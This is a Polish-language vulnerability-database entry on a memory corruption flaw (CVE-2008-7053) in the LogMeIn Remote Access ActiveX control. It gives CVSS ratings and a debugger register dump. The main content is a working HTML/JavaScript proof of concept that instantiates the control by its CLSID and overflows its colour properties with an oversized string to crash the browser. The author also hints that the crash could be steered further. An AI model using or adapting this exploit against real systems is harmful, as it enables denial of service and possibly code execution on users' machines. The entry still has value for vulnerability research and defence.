LogMeIn Remote Access Utility ActiveX Memory Corruption

2009.08.27

Credit: Yag Kohha

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-7053

CWE: CWE-399

Ogólna skala CVSS: 9.3/10

Znaczenie: 10/10

Łatwość wykorzystania: 8.6/10

Wymagany dostęp: Zdalny

Złożoność ataku: Średnia

Autoryzacja: Nie wymagana

Wpływ na poufność: Pełny

Wpływ na integralność: Pełny

Wpływ na dostępność: Pełny

<html>
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<pre>

LogMeIn Remote Access Utility ActiveX Memory Corruption 0day PoC (DoS)
Software vendor URL: http://www.logmein.com
Vulnerability at: RACtrl.dll (propset for: fgcolor, bgcolor, fmcolor)
Author: Yag Kohha (skyhole [at] gmail.com)

eax=024521b8 ebx=00000002 ecx=020e9f54 edx=00000011 esi=00000000 edi=00000000
eip=01fb537f esp=0013e160 ebp=0013e1e8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
RACtrl+0x3537f:
01fb537f 0fb706           movzx   eax,word ptr [esi]    ds:0023:00000000=????
---->>> Wanna change [esi]? Try to play with colors ;D

Greetz to:
str0ke & milw0rm
shinnai
offtopic
kais

</pre>

<object classid='clsid:FD0B6769-6490-4A91-AA0A-B5AE0DC75AC9' id='obj1'></object>
<script language='javascript'>
var buf = '';
while (buf.length < 512) buf = buf + 'AAAA';
obj1.fgcolor = buf;
obj1.bgcolor = obj1.fgcolor;
</script>
</body>
</html>

Referencje:

http://xforce.iss.net/xforce/xfdb/44843

http://www.securityfocus.com/bid/30923

http://packetstorm.foofus.com/0808-exploits/logmein-activex.txt

See this note in RAW Version

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LogMeIn Remote Access Utility ActiveX Memory Corruption

Referencje:

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